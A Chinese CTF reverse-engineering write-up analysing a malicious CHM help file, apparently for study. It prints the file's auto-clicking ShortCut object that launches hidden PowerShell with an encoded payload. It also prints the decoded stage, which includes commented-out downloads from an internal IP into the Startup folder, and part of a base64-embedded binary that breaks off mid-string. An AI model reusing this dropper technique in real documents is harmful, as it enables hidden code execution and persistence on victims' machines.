re-part-5

来到难度5咯，算是入门re了吧。

reverse_html

0x00

 发现是Microsoft Compiled HTML Help(v3)，搜了搜：微软HTML帮助集，即编译的HTML帮助文件（英语：Microsoft Compiled HTML Help, CHM），用来提供线上帮助，是一种应用较广泛的文件格式。因为CHM文件如一本书一样，可以提供内容目录、索引和搜索等功能，所以也常被用来制作电子书。

 补充完知识点之后，直接反编译，得到：doc.hhc，doc.htm，doc1.htm。

 具体知识点看chm-study-notes，非常全哦。

 其中，doc.hhc是这样的：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<meta name="GENERATOR" content="Microsoft&reg; HTML Help Workshop 4.1">
<!-- Sitemap 1.0 -->
</HEAD><BODY>
  <UL>
  <LI> <OBJECT type="text/sitemap">
			<param name="Name" value="IPv4 Advanced IP Settings Tab">
			<param name="Local" value="doc1.htm">
	   </OBJECT>
  </UL>
  <UL>
  <LI> <OBJECT type="text/sitemap">
			<param name="Name" value="IPv4 Advanced WINS Tab">
			<param name="Local" value="doc1.htm">
	   </OBJECT>
  </UL>
  <UL>
  <LI> <OBJECT type="text/sitemap">
			<param name="Name" value="IPv4 Alternate Configuration Tab">
			<param name="Local" value="doc1.htm">
	   </OBJECT>
  </UL>
  <UL>
  <LI> <OBJECT type="text/sitemap">
			<param name="Name" value="IPv4 and IPv6 Advanced DNS Tab">
			<param name="Local" value="doc1.htm">
	   </OBJECT>
  </UL>
</BODY>
</HTML>

  为什么没doc.htm的事情呢？一丝怀疑，打开doc.htm。发现其中有：

1
2
3
4
5
6
7
8
9
10
11
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
    <PARAM name="Command" value="ShortCut">
    <PARAM name="Button" value="Bitmap::shortcut">
    <PARAM name="Item1"
      value=",cmd.exe,/c START /MIN C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile powershell.exe -WindowStyle hidden -nologo -noprofile -e SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAbgBaAEYAZABhADgASQB3AEYASQBiAHYAQgAvADYASABVAEMAcwBvAG0ANwBIAHQAaAByAE0AZAB1ADMAQgArAGcARABDAG4AVwBJAGMAWAB5AHgAaABwAGUAOQBTAE8ATgBnAG4AcAAwAGUAcQAvAFgAMgBzAHIAMgAvAFYAeQBHAGQANAA4ADUAegBsADUAbQA4AFEATQBrAHgAZwBFAGsAbQBjAGkASQBPAC8ASwA0AEIAdABDAEoAUAA0ADUAUQAwAGoAcABHAHkARABkAFEARABDADYASgBKADQAYQBOADgAMQByAG0AbwA1AGwATABoAEwASgBvADIAbQBjAFEATgB2AFkASQB5AHEAdgAxADcATgBkAGgAOQByADkAQQBlADIANwAxAEgAWgBjAGIAMgBCAFoAVgBpACsARwBSAE8ANABrAFYAVwBKAG4AMwBCAEgARABCAEgASAAwAEMAcgBMAHEATwBaAFoAagAzAGIAdgAyAEkAOABWAFUARwBaADEALwBvAGIALwBXADgANgBYAHQAbABOAGoAVwB1AHoAOQBaAEwAVgBlAEwANgBlAHgAMQAwAG0ASgBEAHAAYwBZAGMATwBWAHQASgBuAHMAWgBpAHgAKwBaAHgAcQBHAFUAbQB0ADgAZwAyAHMAWQBoAGsAbgBqAEUAZgB1AFUAWQB5AEIAMwBGAGcAUwB5ADEAMwBtAHEAZgAxADMAVQBHAHgAUABTAFEASwBOAEEAMAA0AGwAbABxAGwAbQBBAFkAZQBrAFcAMQBoADAANwBnAHgAUQB5AG0AdwArAHEAMgBQADIAWQBLAFcAaQBwACsAZQB0AHkAbwBDAHcAeQBSAFoAdwB3AG4AYgBoAHEAbgB5AGkARQBVAHkAcABPAEUAKwBMAFEAbABtAEgASgAzAHMASQBuADkAOQBTAG0AYwBpAGcAdABOAGkAMgB6AFoATwA5AGEAbgBtAG0ATgBYAGcAdgAwAG4ALwBFAEcAUwBvAGkAeABYAGEARgBlAFMAVwBEAEQAcQAxAFEAeQBsAFEAbAB6AFMAUwA0AGcAZwBhAEMANAArAHAAbAB1AGsATAB6ADYARAAvADQATgBmAFAASwB1AGEARgA3AHcATgAyAFIANwBYADkAYgB3ACsAcwA3AE0ARwAyAEgAZQBmAFMAUQB6AFcAYQBkAEMAYwBpAGwARgBFAEIASQBNAEUAWgBpADYAMQAvAEEAQQA9AD0AJwApACkAKQApACwAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA==">
    <PARAM name="Item2" value="273,1,1">
</OBJECT>

<SCRIPT>
	x.Click();
</SCRIPT>

 标准的chm shortCut利用。

 它是打开了一个cmd.exe，之后又调用了powershell，-WindowStyle Hidden表示隐藏窗口， -ExecutionPolicy Bypass表示不会显示警告和提示，解码一下base64，脚本也处理一下：

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
# @Time  : 2022/12/08 23:29:01
# @Author: wd-2711
'''

init = "49006e0076006f006b0065002d00450078007000720065007300730069006f006e002000240028004e00650077002d004f0062006a00650063007400200049004f002e00530074007200650061006d0052006500610064006500720020002800240028004e00650077002d004f0062006a00650063007400200049004f002e0043006f006d007000720065007300730069006f006e002e004400650066006c00610074006500530074007200650061006d0020002800240028004e00650077002d004f0062006a00650063007400200049004f002e004d0065006d006f0072007900530074007200650061006d00200028002c00240028005b0043006f006e0076006500720074005d003a003a00460072006f006d0042006100730065003600340053007400720069006e006700280027006e005a00460064006100380049007700460049006200760042002f00360048005500430073006f006d00370048007400680072004d0064007500330042002b006700440043006e00570049006300580079007800680070006500390053004f004e0067006e0070003000650071002f00580032007300720032002f0056007900470064003400380035007a006c0035006d00380051004d006b007800670045006b006d006300690049004f002f004b0034004200740043004a00500034003500510030006a007000470079004400640051004400430036004a004a00340061004e003800310072006d006f0035006c004c0068004c004a006f0032006d00630051004e00760059004900790071007600310037004e00640068003900720039004100650032003700310048005a0063006200320042005a00560069002b00470052004f0034006b00560057004a006e0033004200480044004200480048003000430072004c0071004f005a005a006a003300620076003200490038005600550047005a0031002f006f0062002f00570038003600580074006c004e006a00570075007a0039005a004c00560065004c00360065007800310030006d004a00440070006300590063004f00560074004a006e0073005a00690078002b005a0078007100470055006d0074003800670032007300590068006b006e006a00450066007500550059007900420033004600670053007900310033006d0071006600310033005500470078005000530051004b004e004100300034006c006c0071006c006d004100590065006b005700310068003000370067007800510079006d0077002b00710032005000320059004b005700690070002b006500740079006f0043007700790052005a00770077006e006200680071006e007900690045005500790070004f0045002b004c0051006c006d0048004a003300730049006e003900390053006d0063006900670074004e00690032007a005a004f00390061006e006d006d004e0058006700760030006e002f004500470053006f00690078005800610046006500530057004400440071003100510079006c0051006c007a00530053003400670067006100430034002b0070006c0075006b004c007a00360044002f0034004e00660050004b00750061004600370077004e0032005200370058003900620077002b00730037004d0047003200480065006600530051007a005700610064004300630069006c0046004500420049004d0045005a006900360031002f00410041003d003d00270029002900290029002c0020005b0049004f002e0043006f006d007000720065007300730069006f006e002e0043006f006d007000720065007300730069006f006e004d006f00640065005d003a003a004400650063006f006d0070007200650073007300290029002c0020005b0054006500780074002e0045006e0063006f00640069006e0067005d003a003a0041005300430049004900290029002e00520065006100640054006f0045006e006400280029003b"

for i in range(len(init)//4):
    c = chr(int(init[i*4:i*4+2], 16))
    print(c, end = "")

 得到：

1
2
3
4
5
6
7
8
9
10
11
12
13
Invoke-Expression $(
	New-Object IO.StreamReader(
		$(New-Object IO.Compression.DeflateStream(
			$(New-Object IO.MemoryStream(
				$([Convert]::FromBase64String(
'nZFda8IwFIbvB/6HUCsom7HthrMdu3B+gDCnWIcXyxhpe9SONgnp0eq/X2sr2/VyGd485zl5m8QMkxgEkmciIO/K4BtCJP45Q0jpGyDdQDC6JJ4aN81rmo5lLhLJo2mcQNvYIyqv17Ndh9r9Ae271HZcb2BZVi+GRO4kVWJn3BHDBHH0CrLqOZZj3bv2I8VUGZ1/ob/W86XtlNjWuz9ZLVeL6ex10mJDpcYcOVtJnsZix+ZxqGUmt8g2sYhknjEfuUYyB3FgSy13mqf13UGxPSQKNA04llqlmAYekW1h07gxQymw+q2P2YKWip+etyoCwyRZwwnbhqnyiEUypOE+LQlmHJ3sIn99SmcigtNi2zZO9anmmNXgv0n/EGSoixXaFeSWDDq1QylQlzSS4ggaC4+plukLz6D/4NfPKuaF7wN2R7X9bw+s7MG2HefSQzWadCcilFEBIMEZi61/AA=='
				))
			)), 
			[IO.Compression.CompressionMode]::Decompress
		)), 
		[Text.Encoding]::ASCII
	)
).ReadToEnd()

 查了查，在.net和powershell都能用这些函数，.net的话就得用C#写啦，自学了一波，直接上脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// See https://aka.ms/new-console-template for more information
using System;
using System.IO;
using System.IO.Compression;
using System.Text;

namespace VSCode_C_
{
    class Program
    {
        static void Main(string[] args)
        {
            string s = "nZFda8IwFIbvB/6HUCsom7HthrMdu3B+gDCnWIcXyxhpe9SONgnp0eq/X2sr2/VyGd485zl5m8QMkxgEkmciIO/K4BtCJP45Q0jpGyDdQDC6JJ4aN81rmo5lLhLJo2mcQNvYIyqv17Ndh9r9Ae271HZcb2BZVi+GRO4kVWJn3BHDBHH0CrLqOZZj3bv2I8VUGZ1/ob/W86XtlNjWuz9ZLVeL6ex10mJDpcYcOVtJnsZix+ZxqGUmt8g2sYhknjEfuUYyB3FgSy13mqf13UGxPSQKNA04llqlmAYekW1h07gxQymw+q2P2YKWip+etyoCwyRZwwnbhqnyiEUypOE+LQlmHJ3sIn99SmcigtNi2zZO9anmmNXgv0n/EGSoixXaFeSWDDq1QylQlzSS4ggaC4+plukLz6D/4NfPKuaF7wN2R7X9bw+s7MG2HefSQzWadCcilFEBIMEZi61/AA==";
            byte[] newBytes = Convert.FromBase64String(s);
            MemoryStream tmp1 = new MemoryStream(newBytes);
            DeflateStream tmp2 = new DeflateStream(tmp1, CompressionMode.Decompress);
            StreamReader reader = new StreamReader(tmp2, Encoding.ASCII);

            string text = reader.ReadToEnd();
            Console.WriteLine("begin");  
            Console.WriteLine(text);        
            Console.WriteLine("end");  
        }
    }
}
// begin
// # $client = new-object System.Net.WebClient;
// # $client.DownloadFile("http://192.168.69.129:8000/ielogo.png", "$env:temp/20203917.tmp")
// # $client.DownloadFile("http://192.168.69.129:8000/_TMP12", "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\helper.bat")
// # read file
// $content = [IO.File]::ReadAllText("$pwd\doc.chm")
// $idx1 = $content.IndexOf("xxxxxxxx")
// $helper = $content.Substring($idx1 + 8)
// $cont = [System.Convert]::FromBase64String($helper)
// Set-Content "$env:temp\20201122.tmp" $cont -Encoding byte
// end

 上述输出代码的意思是：找到xxxxxxxx字符之后的base64，之后解码放到20201122.tmp中。

 用010editor打开doc.chm，搜索xxxxxxxx字符之后的base64，写解码的ps1脚本：

1
2
$cont = [System.Convert]::FromBase64String("kAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPgAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAAX0/hmRsuj8obLo/KGy6PyhJWHMoZLo/K416Oyxkuj8rjXorLES6PyuNei8sRLo/K416Myxouj8pARo7LGC6Pyhsujso6Lo/KrF+Gyxguj8qsX43LGi6PylJpY2gbLo/KAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBACQi5dfAAAAAAAAAADgAAIhCwEOGwASAAAAEAAAAAAAAH0XAAAAEAAAADAAAAAAABAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAAYAAAAAQAAAAAAAACAEABAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAAA8NgAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAABYAQAAwDIAADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4MgAAQAAAAAAAAAAAAAAAADAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAADMRAAAAEAAAABIAAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABYCQAAADAAAAAKAAAAFgAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAkAMAAABAAAAAAgAAACAAAAAAAAAAAAAAAAAAAEAAAMAucmVsb2MAAFgBAAAAUAAAAAIAAAAiAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVi+yD5PiB7PwAAAChBEAAEDPEiYQk+AAAAFaNlCTcAAAAx4Qk3AAAACt+FRaNTCQIx4Qk4AAAACiu0qbHhCTkAAAAq/cViMeEJOgAAAAJz088x4Qk7AAAAB/qx3nHhCTwAAAAVTv4gseEJPQAAABRs1SAx4Qk+AAAAM+mtnXHhCTMAAAAAAAAAMeEJNAAAAAAAAAAx4Qk1AAAAAAAAADHhCTYAAAAAAAAAOiRAAAAjVQkCI2MJMwAAADooQEAAI2MJOwAAAC+DAAAAI2UJMwAAACLATsCdRiDwQSDwgSD7gRz72oFaKQwABD/FQAwABCLjCT8AAAAM8BeM8zoKwMAAIvlXcIEAMzMzMzMzMzMzFWL7INtDAF1HGoAagBqAGgAEAAQagBqAP8VBDAAEFD/FQgwABC4AQAAAF3CDADMzFWL7FEPtgJTVovxuwQAAACKSg2ITg2KSg6IBg+2QgGIRgEPtkICiEYCD7ZCA4hGAw+2QgSIRgQPtkIFiEYFD7ZCBohGBg+2QgeIRgcPtkIIiEYID7ZCCYhGCQ+2QgqIRgoPtkILiEYLD7ZCDIhGDI1GDYhODopKD4hODw8fRAAAimj/igiKUAGKcAKIbfyITf2IVf+Idf72wwN1QQ+20Q+2Tf+KicAxABCITf0Ptk3+ionAMQAQiE3/D7ZN/IqJwDEAEIhN/ovLwekCiqmwMAAQMqrAMQAQilX/inX+ikjzQzLNiEgDikj0Mk39iEgEikj1MsqISAWKSPYyzohIBoPABIP7LA+Cdf///15bi+Vdw8zMzMzMzMzMzMzMzMzMzFWL7IPsDFNWi8KL8VeL+IlF+Il19Cv+uwQAAAAPH0AAugQAAACKBA8wAUGD6gF19YPrAXXrxkX/AQ8fgAAAAACL/rsEAAAAZg8fhAAAAAAAi8+6BAAAAGYPH4QAAAAAAA+2AY1JBIqAwDEAEIhB/IPqAXXsR4PrAXXWgH3/Cg+2RgWKTgGIRgEPtkYJiEYFD7ZGDYhGCQ+2RgqITg2KTgKIRgIPtkYOiE4Kik4GiEYGD7ZGD4hODopOA4hGAw+2RguIRg8PtkYHiEYLiE4HD4TMAAAAjX4CjXIEZg8fRAAAin8BjX8Eikf6it+Kb/yKyIpX+zLdiEX+MsqK8zLwisHA6AcCyQ+2wDLya8AbMsGKyjJF/jLNMsaIR/qKwcDoBwLJD7bAa8AbMsGKTf4ywjLPMsaIR/uKw8DoBwLbD7bAa8AbMsMyxTLGiEf8isHA6AcCyQ+2wGvAGzLBMscyxohH/YPuAQ+Fdf///4pt/7sEAAAAi3X0i8YPttXB4gQDVfi/BAAAAIoKQjAIQIPvAXX1g+sBdev+xYht/+mg/v//i034vwQAAACBwaAAAABmkLoEAAAAigFBMAZGg+oBdfWD7wF1619eW4vlXcM7DQRAABDydQLyw/LpiwMAAFWL7ItFDIPoAHQzg+gBdCCD6AF0EYPoAXQFM8BA6zDoBwYAAOsF6OEFAAAPtsDrH/91EP91COgYAAAAWesQg30QAA+VwA+2wFDoDAEAAFldwgwAahBouDUAEOhkCQAAagDoNgYAAFmEwA+E0QAAAOgtBQAAiEXjswGIXeeDZfwAgz1YQwAQAA+FxQAAAMcFWEMAEAEAAADoYgUAAITAdE3ouAgAAOhyBAAA6JEEAABogDAAEGh8MAAQ6IoLAABZWYXAdSnoCgUAAITAdCBoeDAAEGh0MAAQ6GYLAABZWccFWEMAEAIAAAAy24hd58dF/P7////oPQAAAITbdUPoMwcAAIvwgz4AdB9W6E0GAABZhMB0FP91DGoC/3UIizaLzv8VcDAAEP/W/wUYQAAQM8BA6w+KXef/dePosgYAAFnDM8CLTfBkiQ0AAAAAWV9eW8nDagfo4gYAAMxqEGjYNQAQ6F0IAAChGEAAEIXAfwQzwOtpSKMYQAAQM/9HiX3kg2X8AOgZBAAAiEXgiX38gz1YQwAQAnVr6NAEAADohwMAAOjjBwAAgyVYQwAQAINl/ADoOQAAAGoA/3UI6E0GAABZWQ+28PfeG/Yj94l15MdF/P7////oIgAAAIvGi03wZIkNAAAAAFlfXlvJw4t95P914Oj5BQAAWcOLdeTojgQAAMNqB+gyBgAAzGoMaAA2ABDorQcAAIt9DIX/dQ85PRhAABB/BzPA6dkAAACDZfwAg/8BdAqD/wJ0BYtdEOsxi10QU1f/dQjoyQAAAIvwiXXkhfYPhKMAAABTV/91COid/f//i/CJdeSF9g+EjAAAAFNX/3UI6Fn6//+L8Il15IP/AXUnhfZ1I1NQ/3UI6EH6//+F2w+VwA+2wFDouv7//1lTVv91COhqAAAAhf90BYP/A3VIU1f/dQjoQv3//4vwiXXkhfZ0NVNX/3UI6EQAAACL8Oski03siwFR/zBoPRQAEP91EP91DP91COhIAwAAg8QYw4tl6DP2iXXkx0X8/v///4vGi03wZIkNAAAAAFlfXlvJw1WL7FaLNZgwABCF9nUFM8BA6xP/dRCLzv91DP91CP8VcDAAEP/WXl3CDABVi+yDfQwBdQXogwEAAP91EP91DP91COiu/v//g8QMXcIMAFWL7GoA/xUwMAAQ/3UI/xU0MAAQaAkEAMD/FSwwABBQ/xUoMAAQXcNVi+yB7CQDAABqF+jXCAAAhcB0BWoCWc0poyBBABCJDRxBABCJFRhBABCJHRRBABCJNRBBABCJPQxBABBmjBU4QQAQZowNLEEAEGaMHQhBABBmjAUEQQAQZowlAEEAEGaMLfxAABCcjwUwQQAQi0UAoyRBABCLRQSjKEEAEI1FCKM0QQAQi4Xc/P//xwVwQAAQAQABAKEoQQAQoyxAABDHBSBAABAJBADAxwUkQAAQAQAAAMcFMEAAEAEAAABqBFhrwADHgDRAABACAAAAagRYa8AAiw0EQAAQiUwF+GoEWMHgAIsNAEAAEIlMBfhonDAAEOjh/v//ycNVi+yD7BSDZfQAjUX0g2X4AFD/FRQwABCLRfgzRfSJRfz/FRgwABAxRfz/FRwwABAxRfyNRexQ/xUgMAAQi0XwjU38M0XsM0X8M8HJw4sNBEAAEFZXv07mQLu+AAD//zvPdASFznUm6JT///+LyDvPdQe5T+ZAu+sOhc51Cg0RRwAAweAQC8iJDQRAABD30V+JDQBAABBew2hAQwAQ/xUQMAAQw2hAQwAQ6P4GAABZw7hIQwAQw7hQQwAQw+jv////i0gEgwgkiUgE6Of///+LSASDCAKJSATDVYvsi0UIVotIPAPID7dBFI1RGAPQD7dBBmvwKAPyO9Z0GYtNDDtKDHIKi0IIA0IMO8hyDIPCKDvWdeozwF5dw4vC6/lW6H0GAACFwHQgZKEYAAAAvlxDABCLUATrBDvQdBAzwIvK8A+xDoXAdfAywF7DsAFew+hMBgAAhcB0B+hvBAAA6xjoOAYAAFDoZgYAAFmFwHQDMsDD6F8GAACwAcNqAOjQAAAAhMBZD5XAw+hnBgAAhMB1AzLAw+hbBgAAhMB1B+hSBgAA6+2wAcPoSAYAAOhDBgAAsAHDVYvs6OQFAACFwHUZg30MAXUT/3UQi00UUP91CP8VcDAAEP9VFP91HP91GOjmBQAAWVldw+izBQAAhcB0DGhkQwAQ6OcFAABZw+j1BQAAhcAPhN4FAADDagDo4gUAAFnp3AUAAFWL7IN9CAB1B8YFYEMAEAHonwMAAOjCBQAAhMB1BDLAXcPotQUAAITAdQpqAOiqBQAAWevpsAFdw1WL7IA9YUMAEAB0BLABXcNWi3UIhfZ0BYP+AXVi6C0FAACFwHQmhfZ1ImhkQwAQ6FcFAABZhcB1D2hwQwAQ6EgFAABZhcB0KzLA6zCDyf+JDWRDABCJDWhDABCJDWxDABCJDXBDABCJDXRDABCJDXhDABDGBWFDABABsAFeXcNqBejgAAAAzGoIaCA2ABDoWwIAAINl/AC4TVoAAGY5BQAAABB1XaE8AAAQgbgAAAAQUEUAAHVMuQsBAABmOYgYAAAQdT6LRQi5AAAAECvBUFHos/3//1lZhcB0J4N4JAB8IcdF/P7///+wAesfi0XsiwAzyYE4BQAAwA+UwYvBw4tl6MdF/P7///8ywItN8GSJDQAAAABZX15bycNVi+zoLAQAAIXAdA+AfQgAdQkzwLlcQwAQhwFdw1WL7IA9YEMAEAB0BoB9DAB1Ev91COhRBAAA/3UI6EkEAABZWbABXcO4jEMAEMNVi+yB7CQDAABTahfoJgQAAIXAdAWLTQjNKWoD6PkAAADHBCTMAgAAjYXc/P//agBQ6MUDAACDxAyJhYz9//+JjYj9//+JlYT9//+JnYD9//+JtXz9//+JvXj9//9mjJWk/f//ZoyNmP3//2aMnXT9//9mjIVw/f//ZoylbP3//2aMrWj9//+cj4Wc/f//i0UEiYWU/f//jUUEiYWg/f//x4Xc/P//AQABAItA/GpQiYWQ/f//jUWoagBQ6DsDAACLRQSDxAzHRagVAABAx0WsAQAAAIlFtP8VDDAAEGoAjVj/99uNRaiJRfiNhdz8//8a24lF/P7D/xUwMAAQjUX4UP8VNDAAEIXAdQyE23UIagPoBAAAAFlbycODJXxDABAAw1NWvqg1ABC7qDUAEDvzcxlXiz6F/3QKi8//FXAwABD/14PGBDvzculfXlvDU1a+sDUAELuwNQAQO/NzGVeLPoX/dAqLz/8VcDAAEP/Xg8YEO/Ny6V9eW8PMzMzMzMzMzMzMzMzMzGhYHgAQZ2T/NgAAi0QkEIlsJBCNbCQQK+BTVlehBEAAEDFF/DPFUIll6P91+ItF/MdF/P7///+JRfiNRfBnZKMAAPLDi03wZ2SJDgAAWV9fXluL5V1R8sNVi+xWi3UI/zboVQIAAP91FIkG/3UQ/3UMVmgsFAAQaARAABDo+AEAAIPEHF5dw8IAAMzMzFWL7IMlgEMAEACD7CSDDRBAABABagroBwIAAIXAD4SpAQAAg2XwADPAU1ZXM8mNfdxTD6KL81uJB4l3BIlPCDPJiVcMi0Xci33kiUX0gfdudGVsi0XoNWluZUmJRfiLReA1R2VudYlF/DPAQFMPoovzW41d3IkDi0X8iXMEC8cLRfiJSwiJUwx1Q4tF3CXwP/8PPcAGAQB0Iz1gBgIAdBw9cAYCAHQVPVAGAwB0Dj1gBgMAdAc9cAYDAHURiz2EQwAQg88BiT2EQwAQ6waLPYRDABCLTeRqB1iJTfw5RfR8LzPJUw+ii/NbjV3ciQOJcwSJSwiLTfyJUwyLXeD3wwACAAB0DoPPAok9hEMAEOsDi13woRBAABCDyALHBYBDABABAAAAoxBAABD3wQAAEAAPhJMAAACDyATHBYBDABACAAAAoxBAABD3wQAAAAh0effBAAAAEHRxM8kPAdCJReyJVfCLReyLTfBqBl4jxjvGdVehEEAAEIPICMcFgEMAEAMAAACjEEAAEPbDIHQ7g8ggxwWAQwAQBQAAAKMQQAAQuAAAA9Aj2DvYdR6LRey64AAAAItN8CPCO8J1DYMNEEAAEECJNYBDABBfXlszwMnDM8BAwzPAOQUUQAAQD5XAw/8lRDAAEP8lPDAAEP8lQDAAEP8lWDAAEP8lVDAAEP8lUDAAEP8laDAAEP8lXDAAEP8lYDAAEP8lZDAAEP8lTDAAEP8lJDAAELABwzPAw1WL7FGDPYBDABABfGaBfQi0AgDAdAmBfQi1AgDAdVQPrl38i0X8g/A/qIF0P6kEAgAAdQe4jgAAwMnDqQIBAAB0KqkIBAAAdQe4kQAAwMnDqRAIAAB1B7iTAADAycOpIBAAAHUOuI8AAMDJw7iQAADAycOLRQjJwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8NgAABjcAABY3AABEOQAALjkAABQ5AAD+OAAA6DgAAM44AACyOAAAnjgAAIo4AABsOAAAUDgAAAAAAABSNwAAXDcAADI3AAAAAAAAJDgAAKI3AACUNwAAiDcAAM43AADwNwAADDgAALQ3AAAAAAAAhx4AEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgQAAQcEAAEGNhbGMAAAAAAAAAAI0BAgQIECBAgBs2AAAAAABSCWrVMDalOL9Ao56B89f7fOM5gpsv/4c0jkNExN7py1R7lDKmwiM97kyVC0L6w04ILqFmKNkksnZboklti9Elcvj2ZIZomBbUpFzMXWW2kmxwSFD97bnaXhVGV6eNnYSQ2KsAjLzTCvfkWAW4s0UG0Cwej8o/DwLBr70DAROKazqREUFPZ9zql/LPzvC05nOWrHQi5601heL5N+gcdd9uR/EacR0pxYlvt2IOqhi+G/xWPkvG0nkgmtvA/njNWvQf3agziAfHMbESEFkngOxfYFF/qRm1Sg0t5Xqfk8mc76DgO02uKvWwyOu7PINTmWEXKwR+unfWJuFpFGNVIQx9Y3x3e/Jrb8UwAWcr/terdsqCyX36WUfwrdSir5ykcsC3/ZMmNj/3zDSl5fFx2DEVBMcjwxiWBZoHEoDi6yeydQmDLBobblqgUjvWsynjL4RT0QDtIPyxW2rLvjlKTFjP0O+q+0NNM4VF+QJ/UDyfqFGjQI+SnTj1vLbaIRD/89LNDBPsX5dEF8Snfj1kXRlzYIFP3CIqkIhG7rgU3l4L2+AyOgpJBiRcwtOsYpGV5HnnyDdtjdVOqWxW9Opleq4IunglLhymtMbo3XQfS72LinA+tWZIA/YOYTVXuYbBHZ7h+JgRadmOlJseh+nOVSjfjKGJDb/mQmhBmS0PsFS7FgAAAACQi5dfAAAAAA0AAADwAQAAtDMAALQZAAAAAAAAkIuXXwAAAAAOAAAAAAAAAAAAAAAAAAAAuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEAAELAzABABAAAAcDAAEAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFgeAABHQ1RMABAAADMRAAAudGV4dCRtbgAAAAAAMAAAcAAAAC5pZGF0YSQ1AAAAAHAwAAAEAAAALjAwY2ZnAAB0MAAABAAAAC5DUlQkWENBAAAAAHgwAAAEAAAALkNSVCRYQ1oAAAAAfDAAAAQAAAAuQ1JUJFhJQQAAAACAMAAABAAAAC5DUlQkWElaAAAAAIQwAAAEAAAALkNSVCRYUEEAAAAAiDAAAAQAAAAuQ1JUJFhQWgAAAACMMAAABAAAAC5DUlQkWFRBAAAAAJAwAAAIAAAALkNSVCRYVFoAAAAAmDAAABgDAAAucmRhdGEAALAzAAAEAAAALnJkYXRhJHN4ZGF0YQAAALQzAADwAQAALnJkYXRhJHp6emRiZwAAAKQ1AAAEAAAALnJ0YyRJQUEAAAAAqDUAAAQAAAAucnRjJElaWgAAAACsNQAABAAAAC5ydGMkVEFBAAAAALA1AAAIAAAALnJ0YyRUWloAAAAAuDUAAIQAAAAueGRhdGEkeAAAAAA8NgAAPAAAAC5pZGF0YSQyAAAAAHg2AAAUA